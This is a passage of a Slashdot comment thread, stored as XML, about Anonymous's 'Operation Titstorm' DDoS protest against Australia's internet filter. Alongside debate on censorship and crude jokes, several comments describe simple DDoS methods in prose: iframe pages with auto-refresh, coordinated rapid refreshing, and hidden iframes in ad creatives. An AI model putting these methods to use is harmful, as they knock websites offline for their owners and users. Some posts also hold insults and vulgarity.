<sentencetext>DDoS attacks against a government are bound to get into the local media, and hearing "titstorm" is bound to get the common man's attention... because who doesn't like a good pair of ... storms...</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234</id>
	<title>Re:Question</title>
	<author>shutdown -p now</author>
	<datestamp>1266230880000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p><div class="quote"><p>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.</p></div><p>Well, you don't seem to mind choosing for at least some of your fellow Australians...</p><p>Seriously, though, just because some action or policy is backed by a democratic vote, or popular support in general, doesn't make it right. Slavery in U.S. was backed by the majority early on, for example. Today, most people in China and Russia support their regimes, including oppression of dissenters. Iranian death penalty for homosexuals law has widespread popular support. And so on, and so forth.</p><p>There are some rights and freedoms which cannot morally be subject to a vote. Freedom of speech is one of them.<br>
&nbsp;</p></div>
	</htmltext>
<tokenext>The question that I want to ask , is why so many Americans etc want to get involved in what is our own choice here in Australia.Well , you do n't seem to mind choosing for at least some of your fellow Australians...Seriously , though , just because some action or policy is backed by a democratic vote , or popular support in general , does n't make it right .
Slavery in U.S. was backed by the majority early on , for example .
Today , most people in China and Russia support their regimes , including oppression of dissenters .
Iranian death penalty for homosexuals law has widespread popular support .
And so on , and so forth.There are some rights and freedoms which can not morally be subject to a vote .
Freedom of speech is one of them .
 </tokentext>
<sentencetext>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.Well, you don't seem to mind choosing for at least some of your fellow Australians...Seriously, though, just because some action or policy is backed by a democratic vote, or popular support in general, doesn't make it right.
Slavery in U.S. was backed by the majority early on, for example.
Today, most people in China and Russia support their regimes, including oppression of dissenters.
Iranian death penalty for homosexuals law has widespread popular support.
And so on, and so forth.There are some rights and freedoms which cannot morally be subject to a vote.
Freedom of speech is one of them.
 
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144364</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266251280000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Are you from that bunghole Romania ? Cause you definitely sound like one of those poor sobs.</p></htmltext>
<tokenext>Are you from that bunghole Romania ?
Cause you definitely sound like one of those poor sobs .</tokentext>
<sentencetext>Are you from that bunghole Romania ?
Cause you definitely sound like one of those poor sobs.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141864</id>
	<title>Re:Curiosity</title>
	<author>Homburg</author>
	<datestamp>1266225900000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>2</modscore>
	<htmltext><p>I remember <a href="http://www.fraw.org.uk/download/ehippies/archive.shtml" title="fraw.org.uk">a group of internet anarchists</a> [fraw.org.uk] set up something very much along these lines to coincide with the WTO protests in Seattle back in 1999. They made a good point which I think goes along with your idea that this is "digital equivalent of peasants throwing rocks." Like peasants throwing rocks  this kind of simple DDOS can only work if it has the participation of a fairly large number of people. It's very much the internet equivalent of classic protest tactics like picket lines or sit-ins.</p></htmltext>
<tokenext>I remember a group of internet anarchists [ fraw.org.uk ] set up something very much along these lines to coincide with the WTO protests in Seattle back in 1999 .
They made a good point which I think goes along with your idea that this is " digital equivalent of peasants throwing rocks .
" Like peasants throwing rocks this kind of simple DDOS can only work if it has the participation of a fairly large number of people .
It 's very much the internet equivalent of classic protest tactics like picket lines or sit-ins .</tokentext>
<sentencetext>I remember a group of internet anarchists [fraw.org.uk] set up something very much along these lines to coincide with the WTO protests in Seattle back in 1999.
They made a good point which I think goes along with your idea that this is "digital equivalent of peasants throwing rocks.
" Like peasants throwing rocks  this kind of simple DDOS can only work if it has the participation of a fairly large number of people.
It's very much the internet equivalent of classic protest tactics like picket lines or sit-ins.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144646</id>
	<title>Maturity</title>
	<author>Quiet\_Desperation</author>
	<datestamp>1266252360000</datestamp>
	<modclass>Funny</modclass>
	<modscore>5</modscore>
	<htmltext><p>To be followed by Operation Hooter Hurricane, Operation Mammary Monsoon, Operation Boobie Blizzard, Operation Tata Tornado and Operation Sirocco Of Sweater Puppies.</p><p>I could keep this up all day.<nobr> <wbr></nobr>:-D</p><p>Yeah, I know. Pathetic.</p></htmltext>
<tokenext>To be followed by Operation Hooter Hurricane , Operation Mammary Monsoon , Operation Boobie Blizzard , Operation Tata Tornado and Operation Sirocco Of Sweater Puppies.I could keep this up all day .
: -DYeah , I know .
Pathetic .</tokentext>
<sentencetext>To be followed by Operation Hooter Hurricane, Operation Mammary Monsoon, Operation Boobie Blizzard, Operation Tata Tornado and Operation Sirocco Of Sweater Puppies.I could keep this up all day.
:-DYeah, I know.
Pathetic.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141760</id>
	<title>Slashdot has been infiltrated!</title>
	<author>eparker05</author>
	<datestamp>1266224520000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Look at all the members of Anonymous posting replies here!</p><p>But really, there does seem to be a bias to cover stories about "Anonymous" here on Slashdot. I mean, the mainstream tech news takes far less heed to the activities of this loosely knit group of hacktivists.</p></htmltext>
<tokenext>Look at all the members of Anonymous posting replies here ! But really , there does seem to be a bias to cover stories about " Anonymous " here on Slashdot .
I mean , the mainstream tech news takes far less heed to the activities of this loosely knit group of hacktivists .</tokentext>
<sentencetext>Look at all the members of Anonymous posting replies here!But really, there does seem to be a bias to cover stories about "Anonymous" here on Slashdot.
I mean, the mainstream tech news takes far less heed to the activities of this loosely knit group of hacktivists.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266266220000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p>Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do?  How is there going to be "real-life protests" if everyone who cares is just American?  Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.</p></htmltext>
<tokenext>Why do you assume that 1 ) Most on here are American and 2 ) Every Australian feels as you do ?
How is there going to be " real-life protests " if everyone who cares is just American ?
Now I 'm no genius or anything , but it seems to be that you 'd have to live in Australia , or at least be IN Australia , in order to participate in a " real-life protest " in Australia .</tokentext>
<sentencetext>Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do?
How is there going to be "real-life protests" if everyone who cares is just American?
Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144748</id>
	<title>Re:WRONG!</title>
	<author>tehcyder</author>
	<datestamp>1266252780000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>*YOU* should have the right to deem what is appropriate for you or your family to be exposed to.</p></div>
</blockquote><p>
So if *ONE* is a sadistic paedophiliac rapist, it's OK to show your family kiddy-rape-and-murder movies?<br> <br>
Just curious.</p></div>
	</htmltext>
<tokenext>* YOU * should have the right to deem what is appropriate for you or your family to be exposed to .
So if * ONE * is a sadistic paedophiliac rapist , it 's OK to show your family kiddy-rape-and-murder movies ?
Just curious .</tokentext>
<sentencetext>*YOU* should have the right to deem what is appropriate for you or your family to be exposed to.
So if *ONE* is a sadistic paedophiliac rapist, it's OK to show your family kiddy-rape-and-murder movies?
Just curious.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31158856</id>
	<title>Re:Curiosity</title>
	<author>Hertzyscowicz</author>
	<datestamp>1266351720000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Here's an interesting question; what is the highest rate a private person can refresh a website in? Just set the code to refresh the page at that rate and get your friends together, and voil&#225;, a technically legal DDOS. Better yet, release your own version of Lynx or something that comes with an "auto refresh every <tt>N</tt> seconds" function.</htmltext>
<tokenext>Here 's an interesting question ; what is the highest rate a private person can refresh a website in ?
Just set the code to refresh the page at that rate and get your friends together , and voil   , a technically legal DDOS .
Better yet , release your own version of Lynx or something that comes with an " auto refresh every N seconds " function .</tokentext>
<sentencetext>Here's an interesting question; what is the highest rate a private person can refresh a website in?
Just set the code to refresh the page at that rate and get your friends together, and voilá, a technically legal DDOS.
Better yet, release your own version of Lynx or something that comes with an "auto refresh every N seconds" function.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142690</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266237180000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do?</p><p>1) Citation please?</p><p>2) What does that have to do with anything? Too much emotional content...</p><p><div class="quote"><p>Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.</p></div><p>Evidently. Try reading the referenced article/s and you'll appear less of an arseclown</p><p>Posting as "Anonymous Coward" is used when:- </p><p>A. The poster has to protect the confidentiality of a source</p><p>B. The poster has exceeded their daily post limit (easy to check - look at their history)</p><p>C. Their other hobby is visiting other peoples houses and crapping in the cistern.</p><p>Which one are you?</p></div></div>
	</htmltext>
<tokenext>Why do you assume that 1 ) Most on here are American and 2 ) Every Australian feels as you do ? 1 ) Citation please ? 2 ) What does that have to do with anything ?
Too much emotional content...Now I 'm no genius or anything , but it seems to be that you 'd have to live in Australia , or at least be IN Australia , in order to participate in a " real-life protest " in Australia.Evidently .
Try reading the referenced article/s and you 'll appear less of an arseclownPosting as " Anonymous Coward " is used when : - A. The poster has to protect the confidentiality of a sourceB .
The poster has exceeded their daily post limit ( easy to check - look at their history ) C. Their other hobby is visiting other peoples houses and crapping in the cistern.Which one are you ?</tokentext>
<sentencetext>Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do?1) Citation please?2) What does that have to do with anything?
Too much emotional content...Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.Evidently.
Try reading the referenced article/s and you'll appear less of an arseclownPosting as "Anonymous Coward" is used when:- A. The poster has to protect the confidentiality of a sourceB.
The poster has exceeded their daily post limit (easy to check - look at their history)C. Their other hobby is visiting other peoples houses and crapping in the cistern.Which one are you?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142082</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266228600000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>You keep your Cheetoes</p></htmltext>
<tokenext>You keep your Cheetoes</tokentext>
<sentencetext>You keep your Cheetoes</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142772</id>
	<title>Re:Storm of chicks?</title>
	<author>uncanny</author>
	<datestamp>1266238200000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>i think the "tits' in titstorm is referring to manboobs</htmltext>
<tokenext>i think the " tits ' in titstorm is referring to manboobs</tokentext>
<sentencetext>i think the "tits' in titstorm is referring to manboobs</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151346</id>
	<title>Re:Question</title>
	<author>Falconhell</author>
	<datestamp>1266246240000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>The question I want to ask is who the hell appointed YOU the spokesman for all of OZ?</p><p>Personally I do not like Conroys attempts at censorship, which was not part of their electoral platform.</p><p>If you think we are any better off than the US you are deluded.</p></htmltext>
<tokenext>The question I want to ask is who the hell appointed YOU the spokesman for all of OZ ? Personally I do not like Conroys attempts at censorship , which was not part of their electoral platform.If you think we are any better off than the US you are deluded .</tokentext>
<sentencetext>The question I want to ask is who the hell appointed YOU the spokesman for all of OZ?Personally I do not like Conroys attempts at censorship, which was not part of their electoral platform.If you think we are any better off than the US you are deluded.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142104</id>
	<title>Re:Question</title>
	<author>Emphron</author>
	<datestamp>1266229020000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.</p><p>We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!</p></div><p>What's this crap about "as a nation"
What gives you the right to speak for Australia?
As an Australian I *hate* the idea of any censorship and I don't bloody want it and I don't bloody expect it.

But what pisses me off almost as much is the fact that it won't bloody work and it'll only slow down my already bloody pitiful excuse for broadband.</p></div>
	</htmltext>
<tokenext>The question that I want to ask , is why so many Americans etc want to get involved in what is our own choice here in Australia .
As a nation we generally like and expect some censorship .
What is that to you ?
What is it to Anonymous ?
It 's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally .
Unlike the USA we actually do have a pretty democratic system here .
Let us run our country as we like ! What 's this crap about " as a nation " What gives you the right to speak for Australia ?
As an Australian I * hate * the idea of any censorship and I do n't bloody want it and I do n't bloody expect it .
But what pisses me off almost as much is the fact that it wo n't bloody work and it 'll only slow down my already bloody pitiful excuse for broadband .</tokentext>
<sentencetext>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.
As a nation we generally like and expect some censorship.
What is that to you?
What is it to Anonymous?
It's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally.
Unlike the USA we actually do have a pretty democratic system here.
Let us run our country as we like!What's this crap about "as a nation"
What gives you the right to speak for Australia?
As an Australian I *hate* the idea of any censorship and I don't bloody want it and I don't bloody expect it.
But what pisses me off almost as much is the fact that it won't bloody work and it'll only slow down my already bloody pitiful excuse for broadband.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145646</id>
	<title>Re:Storm of chicks?</title>
	<author>Anonymous</author>
	<datestamp>1266256920000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>No, that was Operation Boobiestorm from last month.  Pay attention, man!</p></htmltext>
<tokenext>No , that was Operation Boobiestorm from last month .
Pay attention , man !</tokentext>
<sentencetext>No, that was Operation Boobiestorm from last month.
Pay attention, man!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141894</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>RollTRS</author>
	<datestamp>1266226320000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Come on now!

I may be college age and live in a basement, but I don't keep my Cheetos in the fridge!</htmltext>
<tokenext>Come on now !
I may be college age and live in a basement , but I do n't keep my Cheetos in the fridge !</tokentext>
<sentencetext>Come on now!
I may be college age and live in a basement, but I don't keep my Cheetos in the fridge!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128</id>
	<title>Re:Oh come on now... Don't encourage them.</title>
	<author>Anonymous</author>
	<datestamp>1266229560000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>The fact that the only people standing up for Australians' rights are these same "script kiddies and shy exhibitionists" is notable in and of itself.</p><p>Where is the Amnesty protest? Where is the EFA protest? This is news because everyone else is conspicuously silent.</p><p>Also, you may have missed the fact that THIS ENTIRE CATEGORY is entitled "Your Rights Online", and solely devoted to posts on this subject. Are you lost?</p><p>This is a story about Australians' rights online, and what Anonymous (of all groups) is doing to try safeguard them. That's about as on-topic as you get.</p></htmltext>
<tokenext>The fact that the only people standing up for Australians ' rights are these same " script kiddies and shy exhibitionists " is notable in and of itself.Where is the Amnesty protest ?
Where is the EFA protest ?
This is news because everyone else is conspicuously silent.Also , you may have missed the fact that THIS ENTIRE CATEGORY is entitled " Your Rights Online " , and solely devoted to posts on this subject .
Are you lost ? This is a story about Australians ' rights online , and what Anonymous ( of all groups ) is doing to try safeguard them .
That 's about as on-topic as you get .</tokentext>
<sentencetext>The fact that the only people standing up for Australians' rights are these same "script kiddies and shy exhibitionists" is notable in and of itself.Where is the Amnesty protest?
Where is the EFA protest?
This is news because everyone else is conspicuously silent.Also, you may have missed the fact that THIS ENTIRE CATEGORY is entitled "Your Rights Online", and solely devoted to posts on this subject.
Are you lost?This is a story about Australians' rights online, and what Anonymous (of all groups) is doing to try safeguard them.
That's about as on-topic as you get.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141778</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822</id>
	<title>Re:Question</title>
	<author>stonewallred</author>
	<datestamp>1266225300000</datestamp>
	<modclass>Funny</modclass>
	<modscore>5</modscore>
	<htmltext>Don't make us come over there and liberate the shit out of you.</htmltext>
<tokenext>Do n't make us come over there and liberate the shit out of you .</tokentext>
<sentencetext>Don't make us come over there and liberate the shit out of you.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143730</id>
	<title>Re:Will be interesting, but...</title>
	<author>oaksey</author>
	<datestamp>1266247920000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Disappointing to hear...</htmltext>
<tokenext>Disappointing to hear.. .</tokentext>
<sentencetext>Disappointing to hear...</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146878</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266263460000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The 'distributed' part is the interesting and hard part of the problem.  It's necessary because filtering out one bad client is roughly as easy as your experience with becoming one bad client was.</p></htmltext>
<tokenext>The 'distributed ' part is the interesting and hard part of the problem .
It 's necessary because filtering out one bad client is roughly as easy as your experience with becoming one bad client was .</tokentext>
<sentencetext>The 'distributed' part is the interesting and hard part of the problem.
It's necessary because filtering out one bad client is roughly as easy as your experience with becoming one bad client was.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146396</id>
	<title>Re:Storm of chicks?</title>
	<author>Anonymous</author>
	<datestamp>1266260820000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Can we please stop calling the 4chan brats 'hackers' - this is getting old and pathetic slashdot...</p></htmltext>
<tokenext>Can we please stop calling the 4chan brats 'hackers ' - this is getting old and pathetic slashdot.. .</tokentext>
<sentencetext>Can we please stop calling the 4chan brats 'hackers' - this is getting old and pathetic slashdot...</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141846</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266225660000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>How did you implement the first "D" ?</p></htmltext>
<tokenext>How did you implement the first " D " ?</tokentext>
<sentencetext>How did you implement the first "D" ?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142286</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266231420000</datestamp>
	<modclass>Funny</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Don't make us come over there and liberate the <b>tits</b> out of you.</p></div><p>There, fixed that for you.</p></div>
	</htmltext>
<tokenext>Do n't make us come over there and liberate the tits out of you.There , fixed that for you .</tokentext>
<sentencetext>Don't make us come over there and liberate the tits out of you.There, fixed that for you.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141650</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266266340000</datestamp>
	<modclass>Funny</modclass>
	<modscore>1</modscore>
	<htmltext><p>Wow! The first actual Australian ever to back the filter besides someone inside the government... or are you....</p></htmltext>
<tokenext>Wow !
The first actual Australian ever to back the filter besides someone inside the government... or are you... .</tokentext>
<sentencetext>Wow!
The first actual Australian ever to back the filter besides someone inside the government... or are you....</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141512</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266264780000</datestamp>
	<modclass>Funny</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p> <i>"Many of our number (Anonymous) are productive, intelligent members of society," said Infinite, who is a Web designer.</i> </p><p>But most of them are college-age basement dwellers who type out their screeds in between <b>trips to the minifridge to get more Cheetos.</b> </p></div><p>Who the hell keeps Cheetos in a minifridge?</p></div>
	</htmltext>
<tokenext>" Many of our number ( Anonymous ) are productive , intelligent members of society , " said Infinite , who is a Web designer .
But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos .
Who the hell keeps Cheetos in a minifridge ?</tokentext>
<sentencetext> "Many of our number (Anonymous) are productive, intelligent members of society," said Infinite, who is a Web designer.
But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.
Who the hell keeps Cheetos in a minifridge?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143174</id>
	<title>Re:"tit storm"</title>
	<author>Wanon</author>
	<datestamp>1266243540000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p><div class="quote"><p>It is immature and reeks of disorganization.</p></div><p>What a strange thing to say about a group that originated on 4chan.</p></div><p>I think you mean originated on eBaum's World...</p></div>
	</htmltext>
<tokenext>It is immature and reeks of disorganization.What a strange thing to say about a group that originated on 4chan.I think you mean originated on eBaum 's World.. .</tokentext>
<sentencetext>It is immature and reeks of disorganization.What a strange thing to say about a group that originated on 4chan.I think you mean originated on eBaum's World...
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141496</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266264060000</datestamp>
	<modclass>Funny</modclass>
	<modscore>4</modscore>
	<htmltext>wow, you managed to depict members of an internet-based group as "losers". how incredibly imaginative of you. now how about you shut the fuck up until you have some real criticism against them?</htmltext>
<tokenext>wow , you managed to depict members of an internet-based group as " losers " .
how incredibly imaginative of you .
now how about you shut the fuck up until you have some real criticism against them ?</tokentext>
<sentencetext>wow, you managed to depict members of an internet-based group as "losers".
how incredibly imaginative of you.
now how about you shut the fuck up until you have some real criticism against them?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141708</id>
	<title>The public deciding</title>
	<author>Reed Solomon</author>
	<datestamp>1266267000000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>3</modscore>
	<htmltext><p>I'd rather they didn't make the decision either.</p></htmltext>
<tokenext>I 'd rather they did n't make the decision either .</tokentext>
<sentencetext>I'd rather they didn't make the decision either.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142210</id>
	<title>Re:Not so anonymous now, are we? ^^</title>
	<author>Anonymous</author>
	<datestamp>1266230640000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The same way they always have. Just check "Post Anonymously."</p><p>In all seriousness, a change of clothes, a mask, a stashed backpack, and a change in body language was enough for me at several Scientology protests, and I was one of the better-prepared ones. With enough people, all faces blend together.</p></htmltext>
<tokenext>The same way they always have .
Just check " Post Anonymously .
" In all seriousness , a change of clothes , a mask , a stashed backpack , and a change in body language was enough for me at several Scientology protests , and I was one of the better-prepared ones .
With enough people , all faces blend together .</tokentext>
<sentencetext>The same way they always have.
Just check "Post Anonymously.
"In all seriousness, a change of clothes, a mask, a stashed backpack, and a change in body language was enough for me at several Scientology protests, and I was one of the better-prepared ones.
With enough people, all faces blend together.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141624</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143878</id>
	<title>We need visual confirmation.</title>
	<author>Walter White</author>
	<datestamp>1266248640000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>A titstorm?</p><p>I want to see this!</p></htmltext>
<tokenext>A titstorm ? I want to see this !</tokentext>
<sentencetext>A titstorm?I want to see this!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151360</id>
	<title>Nothing new here.</title>
	<author>Anonymous</author>
	<datestamp>1266246420000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page. How could it get any simpler?</p></div><p>I used to work for a certain major advertising network. I am aware of several incidents where staff members placed hidden IFRAME tags (pointing at sites they didn't like) in ad creatives that were distributed across absolutely massive web properties. The increase in traffic must have crushed many of the victim servers.</p><p>If you surfed the web in the last ten years with an IFRAME capable browser, you've probably been an unknowing participant in a DDOS. You've all seen ads from said network.</p><p>You so bad! Blackhat hackah!</p></div>
	</htmltext>
<tokenext>The method was simple : a webpage with a bunch of iframes that sourced the target , and a javascript onload that refreshed the page .
How could it get any simpler ? I used to work for a certain major advertising network .
I am aware of several incidents where staff members placed hidden IFRAME tags ( pointing at sites they did n't like ) in ad creatives that were distributed across absolutely massive web properties .
The increase in traffic must have crushed many of the victim servers.If you surfed the web in the last ten years with an IFRAME capable browser , you 've probably been an unknowing participant in a DDOS .
You 've all seen ads from said network.You so bad !
Blackhat hackah !</tokentext>
<sentencetext>The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page.
How could it get any simpler?I used to work for a certain major advertising network.
I am aware of several incidents where staff members placed hidden IFRAME tags (pointing at sites they didn't like) in ad creatives that were distributed across absolutely massive web properties.
The increase in traffic must have crushed many of the victim servers.If you surfed the web in the last ten years with an IFRAME capable browser, you've probably been an unknowing participant in a DDOS.
You've all seen ads from said network.You so bad!
Blackhat hackah!
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
